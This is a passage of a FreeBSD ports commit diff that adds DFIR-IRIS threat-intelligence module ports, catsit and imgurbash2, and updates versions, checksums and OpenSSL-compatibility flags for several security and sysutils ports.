b/security/py-iris-intelowl-module/Makefile @@ -0,0 +1,25 @@ +PORTNAME= iris-intelowl-module +DISTVERSION= 0.1.0 +DISTVERSIONPREFIX= v +CATEGORIES= security python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= IntelOwl IRIS module +WWW= https://github.com/dfir-iris/iris-intelowl-module + +LICENSE= LGPL3 +LICENSE_FILE= ${WRKSRC}/LICENSE + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pyintelowl>0:devel/py-pyintelowl@${PY_FLAVOR} + +USE_GITHUB= yes +GH_ACCOUNT= dfir-iris +GH_TAGNAME= 39744a0396483015347f2d8066219ab773f5c581 + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/security/py-iris-intelowl-module/distinfo b/security/py-iris-intelowl-module/distinfo new file mode 100644 index 00000000000..45eef56229c --- /dev/null +++ b/security/py-iris-intelowl-module/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682965254 +SHA256 (dfir-iris-iris-intelowl-module-v0.1.0-39744a0396483015347f2d8066219ab773f5c581_GH0.tar.gz) = 65069bba7db92ebbf4222e654bbdfbd1ac2b609b8c4d075b6135981882a7c695 +SIZE (dfir-iris-iris-intelowl-module-v0.1.0-39744a0396483015347f2d8066219ab773f5c581_GH0.tar.gz) = 19916 diff --git a/security/py-iris-intelowl-module/pkg-descr b/security/py-iris-intelowl-module/pkg-descr new file mode 100644 index 00000000000..d7b9939b68a --- /dev/null +++ b/security/py-iris-intelowl-module/pkg-descr @@ -0,0 +1,2 @@ +iris-intelowl-module is a IRIS processor module providing open-source threat +intelligence leveraging IntelOlw analyzers, to enrich indicators of compromise. diff --git a/security/py-iris-misp-module/Makefile b/security/py-iris-misp-module/Makefile new file mode 100644 index 00000000000..8c4047cd1f4 --- /dev/null +++ b/security/py-iris-misp-module/Makefile @@ -0,0 +1,28 @@ +PORTNAME= iris-misp-module +DISTVERSION= 1.2.0 +DISTVERSIONPREFIX= v +CATEGORIES= security python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= IRIS module interfacing MISP with IRIS +WWW= https://github.com/dfir-iris/iris-module-interface + +LICENSE= LGPL3 +LICENSE_FILE= ${WRKSRC}/LICENSE.txt + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pyunpack>0:archivers/py-pyunpack@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}iris-module-interface>0:security/py-iris-module-interface@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}pymisp>0:devel/py-pymisp@${PY_FLAVOR} + +USE_GITHUB= yes +GH_ACCOUNT= dfir-iris +GH_PROJECT= ${PORTNAME} +GH_TAGNAME= a7654c086bb163a97987698bae012c6bc05fd300 + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/security/py-iris-misp-module/distinfo b/security/py-iris-misp-module/distinfo new file mode 100644 index 00000000000..c2c72a87e4a --- /dev/null +++ b/security/py-iris-misp-module/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680365667 +SHA256 (dfir-iris-iris-misp-module-v1.2.0-a7654c086bb163a97987698bae012c6bc05fd300_GH0.tar.gz) = c46d0d0e0a84e47c1e5f114b7d7a1da75216f0a3613e3c4bcee45ee5616298fd +SIZE (dfir-iris-iris-misp-module-v1.2.0-a7654c086bb163a97987698bae012c6bc05fd300_GH0.tar.gz) = 21850 diff --git a/security/py-iris-misp-module/pkg-descr b/security/py-iris-misp-module/pkg-descr new file mode 100644 index 00000000000..9e113a97f27 --- /dev/null +++ b/security/py-iris-misp-module/pkg-descr @@ -0,0 +1,2 @@ +An interface module for MISP and Iris to automatically enrich IOCs with MISP +insight. diff --git a/security/py-iris-module-interface/Makefile b/security/py-iris-module-interface/Makefile new file mode 100644 index 00000000000..4806b66adb4 --- /dev/null +++ b/security/py-iris-module-interface/Makefile @@ -0,0 +1,23 @@ +PORTNAME= iris-module-interface +DISTVERSION= 1.2.0 +DISTVERSIONPREFIX= v +CATEGORIES= security python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= Base interface for modules of Iris +WWW= https://github.com/dfir-iris/iris-module-interface + +LICENSE= LGPL3 +LICENSE_FILE= ${WRKSRC}/LICENSE.txt + +USE_GITHUB= yes +GH_ACCOUNT= dfir-iris +GH_PROJECT= ${PORTNAME} + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/security/py-iris-module-interface/distinfo b/security/py-iris-module-interface/distinfo new file mode 100644 index 00000000000..9a61615cd21 --- /dev/null +++ b/security/py-iris-module-interface/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680365413 +SHA256 (dfir-iris-iris-module-interface-v1.2.0_GH0.tar.gz) = d98ea878fdedbeb50c70d1ff460e732917cddca271c804ee2a2b9c1f146524bc +SIZE (dfir-iris-iris-module-interface-v1.2.0_GH0.tar.gz) = 10229 diff --git a/security/py-iris-module-interface/pkg-descr b/security/py-iris-module-interface/pkg-descr new file mode 100644 index 00000000000..fd7991734de --- /dev/null +++ b/security/py-iris-module-interface/pkg-descr @@ -0,0 +1,3 @@ +This Python package is used by IRIS modules to interact and extend IRIS +capabilities. It's the interface which module have to use to communicate with +the platform. diff --git a/security/py-iris-vt-module/Makefile b/security/py-iris-vt-module/Makefile new file mode 100644 index 00000000000..68e614ed72d --- /dev/null +++ b/security/py-iris-vt-module/Makefile @@ -0,0 +1,27 @@ +PORTNAME= iris-vt-module +DISTVERSION= 1.2.0 +DISTVERSIONPREFIX= v +CATEGORIES= security python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= IRIS Module enriching IOCs with VT insights +WWW= https://github.com/dfir-iris/iris-vt-module + +LICENSE= LGPL3 +LICENSE_FILE= ${WRKSRC}/LICENSE.txt + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pyunpack>0:archivers/py-pyunpack@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}virustotal-api>0:security/py-virustotal-api@${PY_FLAVOR} + +USE_GITHUB= yes +GH_ACCOUNT= dfir-iris +GH_PROJECT= ${PORTNAME} +GH_TAGNAME= 5f2eb2a751ef3cce67f45ccd5753a2d32edc28df + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/security/py-iris-vt-module/distinfo b/security/py-iris-vt-module/distinfo new file mode 100644 index 00000000000..a3cceac1144 --- /dev/null +++ b/security/py-iris-vt-module/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682826737 +SHA256 (dfir-iris-iris-vt-module-v1.2.0-5f2eb2a751ef3cce67f45ccd5753a2d32edc28df_GH0.tar.gz) = fdda9b56e33662d95183ba315b11beb6438e43b81164fb52ef4c4e24fdf4b6a8 +SIZE (dfir-iris-iris-vt-module-v1.2.0-5f2eb2a751ef3cce67f45ccd5753a2d32edc28df_GH0.tar.gz) = 10992 diff --git a/security/py-iris-vt-module/pkg-descr b/security/py-iris-vt-module/pkg-descr new file mode 100644 index 00000000000..975a2acdd27 --- /dev/null +++ b/security/py-iris-vt-module/pkg-descr @@ -0,0 +1,2 @@ +An interface module for VT and Iris to automatically enrich IOCs with VT +insight. diff --git a/security/py-iris-webhooks-module/Makefile b/security/py-iris-webhooks-module/Makefile new file mode 100644 index 00000000000..24d44688401 --- /dev/null +++ b/security/py-iris-webhooks-module/Makefile @@ -0,0 +1,27 @@ +PORTNAME= iris-webhooks-module +DISTVERSION= 1.2.0 +DISTVERSIONPREFIX= v +CATEGORIES= security python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= IRIS module offering support for webhooks +WWW= https://github.com/dfir-iris/iris-webhooks-module + +LICENSE= LGPL3 +LICENSE_FILE= ${WRKSRC}/LICENSE.txt + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}requests>0:www/py-requests@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}iris-module-interface>0:security/py-iris-module-interface@${PY_FLAVOR} + +USE_GITHUB= yes +GH_ACCOUNT= dfir-iris +GH_PROJECT= ${PORTNAME} +GH_TAGNAME= 46b39e7a2465f3b60ba5e2e2358a45c5e6b3a3d8 + +USES= python:3.8+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/security/py-iris-webhooks-module/distinfo b/security/py-iris-webhooks-module/distinfo new file mode 100644 index 00000000000..58c0a935aa4 --- /dev/null +++ b/security/py-iris-webhooks-module/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682825625 +SHA256 (dfir-iris-iris-webhooks-module-v1.2.0-46b39e7a2465f3b60ba5e2e2358a45c5e6b3a3d8_GH0.tar.gz) = 1f706f34f8075fb9d9b5907415db6190de9001ad083c9258b57d0a2ea69503ce +SIZE (dfir-iris-iris-webhooks-module-v1.2.0-46b39e7a2465f3b60ba5e2e2358a45c5e6b3a3d8_GH0.tar.gz) = 7127 diff --git a/security/py-iris-webhooks-module/pkg-descr b/security/py-iris-webhooks-module/pkg-descr new file mode 100644 index 00000000000..68a704d35fc --- /dev/null +++ b/security/py-iris-webhooks-module/pkg-descr @@ -0,0 +1 @@ +An interface module that allows to call webhooks from IRIS. diff --git a/security/py-ssh-audit/Makefile b/security/py-ssh-audit/Makefile index 62492de0db5..61e3f393c2e 100644 --- a/security/py-ssh-audit/Makefile +++ b/security/py-ssh-audit/Makefile @@ -1,6 +1,6 @@ PORTNAME= ssh-audit DISTVERSIONPREFIX= v -DISTVERSION= 2.5.0 +DISTVERSION= 2.9.0 CATEGORIES= security PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} @@ -10,7 +10,7 @@ WWW= https://github.com/jtesta/ssh-audit LICENSE= MIT -USES= python:3.6+ +USES= python:3.7+ USE_GITHUB= yes GH_ACCOUNT= jtesta USE_PYTHON= autoplist distutils diff --git a/security/py-ssh-audit/distinfo b/security/py-ssh-audit/distinfo index 3c53a903bbc..e1f9da639be 100644 --- a/security/py-ssh-audit/distinfo +++ b/security/py-ssh-audit/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1630074553 -SHA256 (jtesta-ssh-audit-v2.5.0_GH0.tar.gz) = 43a1679ba1bd829b0f871bb9ab0e5d861c3e074b73f1e9cb66d687adce94a462 -SIZE (jtesta-ssh-audit-v2.5.0_GH0.tar.gz) = 125991 +TIMESTAMP = 1682894560 +SHA256 (jtesta-ssh-audit-v2.9.0_GH0.tar.gz) = 29473d4daa370bc1334c092db5324d9cd61f486daa19236f9ec0d13674b38e9b +SIZE (jtesta-ssh-audit-v2.9.0_GH0.tar.gz) = 144686 diff --git a/security/py-trezor/Makefile b/security/py-trezor/Makefile index 01a645ebafe..0854df2d619 100644 --- a/security/py-trezor/Makefile +++ b/security/py-trezor/Makefile @@ -1,6 +1,5 @@ PORTNAME= trezor -PORTVERSION= 0.13.5 -PORTREVISION= 1 +PORTVERSION= 0.13.6 CATEGORIES= security MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/security/py-trezor/distinfo b/security/py-trezor/distinfo index 2cbd5a2c6b2..abe263408d1 100644 --- a/security/py-trezor/distinfo +++ b/security/py-trezor/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1672505351 -SHA256 (trezor-0.13.5.tar.gz) = 8e150171affeac381efdb14782929084d6414ec77cccdc871d6f0d644ff57bd8 -SIZE (trezor-0.13.5.tar.gz) = 199881 +TIMESTAMP = 1682660958 +SHA256 (trezor-0.13.6.tar.gz) = fc359c07562ff158ae04fd23f6563ac15dc046586f3a6c379536ddef0f790b48 +SIZE (trezor-0.13.6.tar.gz) = 416357 diff --git a/security/s2n-tls/Makefile b/security/s2n-tls/Makefile index 63e857c9ce7..cd1da44183e 100644 --- a/security/s2n-tls/Makefile +++ b/security/s2n-tls/Makefile @@ -1,6 +1,6 @@ PORTNAME= s2n-tls DISTVERSIONPREFIX= v -DISTVERSION= 1.3.42 +DISTVERSION= 1.3.43 PORTEPOCH= 1 CATEGORIES= security diff --git a/security/s2n-tls/distinfo b/security/s2n-tls/distinfo index b4815e21559..b1e49a6e16b 100644 --- a/security/s2n-tls/distinfo +++ b/security/s2n-tls/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680635394 -SHA256 (aws-s2n-tls-v1.3.42_GH0.tar.gz) = b1287f71753cd3812fd3d6cfa91c458840f98c891fae6d5585a0ee09477cb8ff -SIZE (aws-s2n-tls-v1.3.42_GH0.tar.gz) = 4195911 +TIMESTAMP = 1682667655 +SHA256 (aws-s2n-tls-v1.3.43_GH0.tar.gz) = 6fd844f290b37ef3b08854eb2dbd7951f9cb7452f1c4280267833e9eaa4b564d +SIZE (aws-s2n-tls-v1.3.43_GH0.tar.gz) = 4210959 diff --git a/security/s2n-tls/pkg-plist b/security/s2n-tls/pkg-plist index cca05819209..f7f14cc5867 100644 --- a/security/s2n-tls/pkg-plist +++ b/security/s2n-tls/pkg-plist @@ -12,6 +12,7 @@ lib/s2n/cmake/shared/s2n-targets-%%CMAKE_BUILD_TYPE%%.cmake lib/s2n/cmake/shared/s2n-targets.cmake %%PORTDOCS%%%%DOCSDIR%%/BINDINGS.md %%PORTDOCS%%%%DOCSDIR%%/DEVELOPMENT-GUIDE.md +%%PORTDOCS%%%%DOCSDIR%%/FAQ.md %%PORTDOCS%%%%DOCSDIR%%/READING-LIST.md %%PORTDOCS%%%%DOCSDIR%%/SAFETY-MACROS.md %%PORTDOCS%%%%DOCSDIR%%/STATE-MACHINE.md diff --git a/security/sequoia/Makefile b/security/sequoia/Makefile index 96a2a697091..70a41680eca 100644 --- a/security/sequoia/Makefile +++ b/security/sequoia/Makefile @@ -17,6 +17,8 @@ LIB_DEPENDS+= libgmp.so:math/gmp LIB_DEPENDS+= libnettle.so:security/nettle USES= cargo ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Fails to detect OpenSSL 3.0.0 and later USE_LDCONFIG= yes USE_GITLAB= yes GL_ACCOUNT= sequoia-pgp diff --git a/security/softether5/Makefile b/security/softether5/Makefile index 88e6ca54b88..7ac71be1557 100644 --- a/security/softether5/Makefile +++ b/security/softether5/Makefile @@ -1,6 +1,6 @@ PORTNAME= softether -DISTVERSION= 5.02.5180-310 -DISTVERSIONSUFFIX= -g82ce34fc +DISTVERSION= 5.02.5180-321 +DISTVERSIONSUFFIX= -g6ae786d5 PORTEPOCH= 2 CATEGORIES= security net-vpn PKGNAMESUFFIX= 5 diff --git a/security/softether5/distinfo b/security/softether5/distinfo index f2444a6dd28..6408cc6f659 100644 --- a/security/softether5/distinfo +++ b/security/softether5/distinfo @@ -1,6 +1,6 @@ -TIMESTAMP = 1681711157 -SHA256 (softether/SoftEtherVPN-SoftEtherVPN-5.02.5180-310-g82ce34fc_GH0.tar.gz) = ab05a1664fe5bf5103b3b576cfad6c108897d9fb5139ad66f0c06de91d1a1a86 -SIZE (softether/SoftEtherVPN-SoftEtherVPN-5.02.5180-310-g82ce34fc_GH0.tar.gz) = 16486350 +TIMESTAMP = 1682937154 +SHA256 (softether/SoftEtherVPN-SoftEtherVPN-5.02.5180-321-g6ae786d5_GH0.tar.gz) = d9143e9a6c5c238a7115ada963aaabb0198c5ac5512e1e1748f7707131079bf6 +SIZE (softether/SoftEtherVPN-SoftEtherVPN-5.02.5180-321-g6ae786d5_GH0.tar.gz) = 16486457 SHA256 (softether/SoftEtherVPN-libhamcore-2951ae5_GH0.tar.gz) = 7e95f906ca088f192a2de2f90fede3b8af394e151666ae4a0533151de3fe919c SIZE (softether/SoftEtherVPN-libhamcore-2951ae5_GH0.tar.gz) = 8337 SHA256 (softether/BLAKE2-BLAKE2-b52178a_GH0.tar.gz) = 0bef79a164bda953410f474daab3241ed6461daa4fb90213b95ae60c440c6775 diff --git a/security/wazuh-dashboard/Makefile b/security/wazuh-dashboard/Makefile index c25140f89cf..0b6b7922ff3 100644 --- a/security/wazuh-dashboard/Makefile +++ b/security/wazuh-dashboard/Makefile @@ -1,7 +1,7 @@ PORTNAME= wazuh DISTVERSIONPREFIX= v DISTVERSION= 4.4.1 -POREREVISION= 1 +PORTREVISION= 1 CATEGORIES= security MASTER_SITES= LOCAL/acm/${PORTNAME}/ PKGNAMESUFFIX= -dashboard @@ -15,9 +15,6 @@ WWW= https://github.com/wazuh/wazuh-kibana-app LICENSE= GPLv2 -DEPRECATED= Requires opensearch-dashboards which depends on upstream EOL node14 -EXPIRATION_DATE= 2023-05-26 - RUN_DEPENDS= ${LOCALBASE}/www/opensearch-dashboards/bin/opensearch-dashboards:textproc/opensearch-dashboards NO_BUILD= yes diff --git a/security/wazuh-dashboard/distinfo b/security/wazuh-dashboard/distinfo index 467732e8dcb..a76f499a144 100644 --- a/security/wazuh-dashboard/distinfo +++ b/security/wazuh-dashboard/distinfo @@ -1,5 +1,5 @@ -TIMESTAMP = 1681518670 -SHA256 (wazuh-4.4.1/wazuh-kibana-app-4.4.1-2.6.0.tar.gz) = 4a6c0249c9e53f138a19e179f4f04d304c5a56803e4e59fd4e128ff41fcad4e5 -SIZE (wazuh-4.4.1/wazuh-kibana-app-4.4.1-2.6.0.tar.gz) = 36996742 +TIMESTAMP = 1682727098 +SHA256 (wazuh-4.4.1/wazuh-kibana-app-4.4.1-2.6.0.tar.gz) = 1ffaeeab18a172a348a3dac5fee65baaae8021c05672a4bf7a09a5a36ec7ca54 +SIZE (wazuh-4.4.1/wazuh-kibana-app-4.4.1-2.6.0.tar.gz) = 36986786 SHA256 (wazuh-4.4.1/opensearch_dashboards.yml) = 88affe6dab2e1299b6f8b5264e6dd9ea1aa42885f3aefb8822fe559f2b6bb5d5 SIZE (wazuh-4.4.1/opensearch_dashboards.yml) = 806 diff --git a/security/xca/Makefile b/security/xca/Makefile index 9d64c47d339..fce533e9e29 100644 --- a/security/xca/Makefile +++ b/security/xca/Makefile @@ -15,6 +15,8 @@ LIB_DEPENDS= libltdl.so:devel/libltdl USES= compiler:c++11-lang desktop-file-utils gmake localbase \ pkgconfig qt:5 shared-mime-info ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Uses deprecated and removed OpenSSL routines USE_QT= buildtools:build core gui help linguist:build sql widgets USE_CXXSTD= c++11 diff --git a/shells/wcd/Makefile b/shells/wcd/Makefile index 1b0f2f821ee..61426bb47a2 100644 --- a/shells/wcd/Makefile +++ b/shells/wcd/Makefile @@ -1,5 +1,5 @@ PORTNAME= wcd -DISTVERSION= 6.0.4 +DISTVERSION= 6.0.5 CATEGORIES= shells MASTER_SITES= SF diff --git a/shells/wcd/distinfo b/shells/wcd/distinfo index abeaa69d470..9b7a855efd6 100644 --- a/shells/wcd/distinfo +++ b/shells/wcd/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1677861068 -SHA256 (wcd-6.0.4.tar.gz) = 5673645f77505c8d03ca75ffcb32f6a2a86fa1b1e9a8dd9d0a5bd10a202eabf2 -SIZE (wcd-6.0.4.tar.gz) = 935815 +TIMESTAMP = 1682594490 +SHA256 (wcd-6.0.5.tar.gz) = f2970e01a52886d330604490fdbedd7373faff0910ff2e14889435677f563763 +SIZE (wcd-6.0.5.tar.gz) = 1130436 diff --git a/shells/wcd/pkg-plist b/shells/wcd/pkg-plist index b027f28d2c1..6930376c588 100644 --- a/shells/wcd/pkg-plist +++ b/shells/wcd/pkg-plist @@ -2,6 +2,8 @@ bin/wcd %%NLS%%man/de/man1/wcd.1.gz man/fr/man1/wcd.1.gz man/sr/man1/wcd.1.gz +man/ro/man1/wcd.1.gz +man/sv/man1/wcd.1.gz man/man1/wcd.1.gz %%NLS%%man/nl/man1/wcd.1.gz %%NLS%%man/pt_BR/man1/wcd.1.gz @@ -28,6 +30,10 @@ man/man1/wcd.1.gz %%PORTDOCS%%%%DOCSDIR%%/wcd.htm %%PORTDOCS%%%%DOCSDIR%%/wcd.txt %%PORTDOCS%%%%DOCSDIR%%/whatsnew.txt +%%PORTDOCS%%%%DOCSDIR%%/ro/wcd.htm +%%PORTDOCS%%%%DOCSDIR%%/ro/wcd.txt +%%PORTDOCS%%%%DOCSDIR%%/sv/wcd.htm +%%PORTDOCS%%%%DOCSDIR%%/sv/wcd.txt %%NLS%%share/locale/da/LC_MESSAGES/wcd.mo %%NLS%%share/locale/de/LC_MESSAGES/wcd.mo %%NLS%%share/locale/eo/LC_MESSAGES/wcd.mo @@ -41,3 +47,5 @@ man/man1/wcd.1.gz %%NLS%%share/locale/uk/LC_MESSAGES/wcd.mo %%NLS%%share/locale/vi/LC_MESSAGES/wcd.mo %%NLS%%share/locale/zh_CN/LC_MESSAGES/wcd.mo +%%NLS%%share/locale/ro/LC_MESSAGES/wcd.mo +%%NLS%%share/locale/sv/LC_MESSAGES/wcd.mo diff --git a/sysutils/Makefile b/sysutils/Makefile index d694c1bb1b5..93b98208e52 100644 --- a/sysutils/Makefile +++ b/sysutils/Makefile @@ -166,6 +166,7 @@ SUBDIR += byobu SUBDIR += calamares SUBDIR += catfish + SUBDIR += catsit SUBDIR += cbsd SUBDIR += cbsd-mq-api SUBDIR += cbsd-mq-router @@ -561,6 +562,7 @@ SUBDIR += i7z SUBDIR += iat SUBDIR += iichid + SUBDIR += imgurbash2 SUBDIR += immortal SUBDIR += incron SUBDIR += inotify-tools @@ -674,6 +676,7 @@ SUBDIR += linux-rkbin SUBDIR += linuxfdisk SUBDIR += lizardfs + SUBDIR += llama SUBDIR += lmmon SUBDIR += lmon SUBDIR += lnav @@ -1057,8 +1060,10 @@ SUBDIR += puppet-mode.el SUBDIR += puppet6 SUBDIR += puppet7 + SUBDIR += puppet8 SUBDIR += puppetserver6 SUBDIR += puppetserver7 + SUBDIR += puppetserver8 SUBDIR += pv SUBDIR += pwd_unmkdb SUBDIR += pwgen @@ -1116,7 +1121,6 @@ SUBDIR += py-power SUBDIR += py-prometheus-zfs SUBDIR += py-psutil - SUBDIR += py-psutil121 SUBDIR += py-ptyprocess SUBDIR += py-puremagic SUBDIR += py-py-cpuinfo @@ -1517,7 +1521,6 @@ SUBDIR += u-boot-sopine SUBDIR += u-boot-sopine-spi SUBDIR += u-boot-tools - SUBDIR += u-boot-utilite SUBDIR += u-boot-wandboard SUBDIR += ua SUBDIR += ucspi-ipc diff --git a/sysutils/bareos18-server/Makefile b/sysutils/bareos18-server/Makefile index 8d7cb7d00a2..bd0d7c21ab4 100644 --- a/sysutils/bareos18-server/Makefile +++ b/sysutils/bareos18-server/Makefile @@ -13,6 +13,9 @@ WWW= https://www.bareos.org/ LICENSE= AGPLv3 LGPL3 LICENSE_COMB= multi +DEPRECATED= Upstream EOL reached on 2020-02-03 +EXPIRATION_DATE= 2023-06-01 + CONFLICTS?= bareos17-server bareos16-server bareos-server LIB_DEPENDS+= liblzo2.so:archivers/lzo2 \ diff --git a/sysutils/bhyve+/Makefile b/sysutils/bhyve+/Makefile index 14aa08a4533..2911b9eb69b 100644 --- a/sysutils/bhyve+/Makefile +++ b/sysutils/bhyve+/Makefile @@ -15,6 +15,7 @@ USES= kmod uidfix SRCS= ${SRC_BASE}/sys/modules/vmm \ ${SRC_BASE}/sys/amd64/vmm \ + ${SRC_BASE}/sys/conf \ ${SRC_BASE}/lib/libvmmapi \ ${SRC_BASE}/usr.sbin/bhyve \ ${SRC_BASE}/usr.sbin/bhyvectl \ @@ -64,6 +65,7 @@ _LINKS= sys/cam/ctl \ sys/dev/virtio \ sys/amd64/include \ sys/x86/include \ + sys/libkern \ stand/userboot post-extract: diff --git a/sysutils/boxbackup-devel/Makefile b/sysutils/boxbackup-devel/Makefile index 47d246297dc..14d5f82cacf 100644 --- a/sysutils/boxbackup-devel/Makefile +++ b/sysutils/boxbackup-devel/Makefile @@ -14,6 +14,9 @@ LICENSE= BSD3CLAUSE GPLv2 LICENSE_COMB= dual LICENSE_FILE= ${WRKSRC}/LICENSE-DUAL.txt +DEPRECATED= Requires upstream EOL OpenSSL 1.0.X +EXPIRATION_DATE= 2023-06-01 + SVNVERSION= 0.11_trunk_2979 USES= autoreconf perl5 ssl tar:tgz diff --git a/sysutils/catsit/Makefile b/sysutils/catsit/Makefile new file mode 100644 index 00000000000..3c41c49de5c --- /dev/null +++ b/sysutils/catsit/Makefile @@ -0,0 +1,19 @@ +PORTNAME= catsit +DISTVERSION= 1.4 +CATEGORIES= sysutils +MASTER_SITES= https://git.causal.agency/catsit/snapshot/ + +MAINTAINER= DtxdF@disroot.org +COMMENT= Process supervisor +WWW= https://git.causal.agency/catsit/ + +LICENSE= AGPLv3 +LICENSE_FILE= ${WRKSRC}/LICENSE + +post-install: + ${STRIP_CMD} ${STAGEDIR}${PREFIX}/bin/catsit-timer + ${STRIP_CMD} ${STAGEDIR}${PREFIX}/bin/catsit-watch + ${STRIP_CMD} ${STAGEDIR}${PREFIX}/sbin/catsitd + ${TOUCH} ${STAGEDIR}${PREFIX}/etc/catsit.conf + +.include diff --git a/sysutils/catsit/distinfo b/sysutils/catsit/distinfo new file mode 100644 index 00000000000..a3b2f37c546 --- /dev/null +++ b/sysutils/catsit/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1662382917 +SHA256 (catsit-1.4.tar.gz) = 8326ef2e9312092cdf121c6ba3df7b93f8228fca5b514e6b05b98c848535e4d8 +SIZE (catsit-1.4.tar.gz) = 24341 diff --git a/sysutils/catsit/pkg-descr b/sysutils/catsit/pkg-descr new file mode 100644 index 00000000000..180d038167b --- /dev/null +++ b/sysutils/catsit/pkg-descr @@ -0,0 +1,8 @@ +The catsitd daemon is a process supervisor for FreeBSD and OpenBSD. +It is designed to supervise processes with the following behavior: + +* The process runs in the foreground, not as a daemon. +* The process logs to standard output or standard error. +* The process handles errors by exiting and expects to be + restarted. +* The process indicates its reason for exiting with sysexits(3). diff --git a/sysutils/catsit/pkg-plist b/sysutils/catsit/pkg-plist new file mode 100644 index 00000000000..0ddd609704f --- /dev/null +++ b/sysutils/catsit/pkg-plist @@ -0,0 +1,11 @@ +bin/catsit-timer +bin/catsit-watch +etc/catsit.conf +etc/rc.d/catsitd +man/man1/catsit-timer.1.gz +man/man1/catsit-watch.1.gz +man/man5/catsit.conf.5.gz +man/man8/catsit.8.gz +man/man8/catsitd.8.gz +sbin/catsit +sbin/catsitd diff --git a/sysutils/flowgger/Makefile b/sysutils/flowgger/Makefile index c024b397e3f..0a9e70bd93f 100644 --- a/sysutils/flowgger/Makefile +++ b/sysutils/flowgger/Makefile @@ -15,6 +15,8 @@ LICENSE_FILE= ${WRKSRC}/LICENSE BUILD_DEPENDS= capnp:devel/capnproto USES= cargo ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Cannot detect OpenSSL 3.0.0 and later CARGO_CRATES= adler32-1.0.4 \ ansi_term-0.11.0 \ ascii-0.9.3 \ diff --git a/sysutils/fluent-bit/Makefile b/sysutils/fluent-bit/Makefile index 5d8761a7887..7515112d58d 100644 --- a/sysutils/fluent-bit/Makefile +++ b/sysutils/fluent-bit/Makefile @@ -15,15 +15,14 @@ BROKEN_mips64= fails to build: conflicting types for 'restrict' USE_GITHUB= yes GH_ACCOUNT= fluent -USES= cmake:noninja gmake bison +USES= bison cmake:noninja gmake localbase:ldflags OPTIONS_DEFINE= SSL PGSQL OPTIONS_DEFAULT= SSL LIB_DEPENDS= libyaml.so:textproc/libyaml -LDFLAGS+= -lexecinfo -L${LOCALBASE}/lib +LDFLAGS+= -lexecinfo CMAKE_ARGS= -DFLB_DEBUG=Off -DFLB_TRACE=Off -DFLB_LUAJIT=Off -CFLAGS+= -I${LOCALBASE}/include SSL_USES= ssl SSL_CMAKE_ON= -DFLB_TLS=On @@ -49,6 +48,10 @@ USES+= compiler:gcc-c++11-lib USES+= compiler:c11 .endif +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +CFLAGS+= -Wno-error=int-conversion +.endif + post-install: ${MV} ${STAGEDIR}${ETCDIR}/${PORTNAME}.conf ${STAGEDIR}${ETCDIR}/${PORTNAME}.conf.sample ${MV} ${STAGEDIR}${ETCDIR}/parsers.conf ${STAGEDIR}${ETCDIR}/parsers.conf.sample diff --git a/sysutils/imgurbash2/Makefile b/sysutils/imgurbash2/Makefile new file mode 100644 index 00000000000..1d9f8e9ccc4 --- /dev/null +++ b/sysutils/imgurbash2/Makefile @@ -0,0 +1,39 @@ +PORTNAME= imgurbash2 +DISTVERSION= 3.3 +CATEGORIES= sysutils + +MAINTAINER= DtxdF@disroot.org +COMMENT= Upload or delete images and videos to imgur +WWW= https://github.com/ram-on/imgurbash2/ + +LICENSE= MIT +LICENSE_FILE= ${WRKSRC}/LICENSE + +RUN_DEPENDS= bash>0:shells/bash \ + curl>0:ftp/curl + +USE_GITHUB= yes +GH_ACCOUNT= ram-on + +NO_BUILD= yes + +PLIST_FILES= bin/${PORTNAME} \ + ${DOCSDIR}/examples.md + +OPTIONS_RADIO= CLIPBOARD +OPTIONS_RADIO_CLIPBOARD= WL_COPY XCLIP XSEL + +WL_COPY_DESC= Use wl-copy +XCLIP_DESC= Use xclip +XSEL_DESC= Use xsel-conrad + +WL_COPY_RUN_DEPENDS= wl-clipboard>0:x11/wl-clipboard +XCLIP_RUN_DEPENDS= xclip>0:x11/xclip +XSEL_RUN_DEPENDS= xsel-conrad>0:x11/xsel-conrad + +do-install: + ${INSTALL_SCRIPT} 